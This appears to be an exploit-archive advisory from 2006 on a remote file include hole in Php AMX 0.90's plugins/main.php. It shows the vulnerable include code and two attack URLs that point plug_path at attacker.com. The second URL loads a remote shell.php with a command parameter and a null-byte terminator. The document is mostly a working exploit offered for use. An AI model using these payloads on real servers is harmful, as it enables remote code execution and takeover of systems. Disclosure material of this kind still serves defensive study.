[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Php AMX 0.90 (plugins/main.php) Remote File Include Vulnerability
# Published : 2006-10-18
# Author : MP
# Previous Title : phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
# Next Title : Active Bulletin Board <= 1.1b2 Remote User Pass Change Exploit
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
# #
# [ phpamx 0.90 ] #
#
# Class: Remote|Local File Include Vulnerability #
# Patch: Unavailable #
# Published 2006/10/18 #
# Remote: Yes
# Local: No #
# Type: High #
# Site: http://sourceforge.net/projects/phpamx/ #
# Author: MP
# Contact: mp01010@yahoo.com #
# #
#################################################################
Vuln Code
(php/plugins/main.php):
<?php
include($plug_path."!playtime_top15.php");
include($plug_path."!mapcycle_list.php");
//nothing here
?>
#Vuln 1.0 -> require register_globals = On
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/
#Vuln 2.0 -> require magic_quotes_gpc = Off
http://victim.com/phpamx-0.9.0/php/plugins/main.php?plug_path=http://attacker.com/shell.php?cmd=pwd%00
# www.Syue.com [2006-10-18]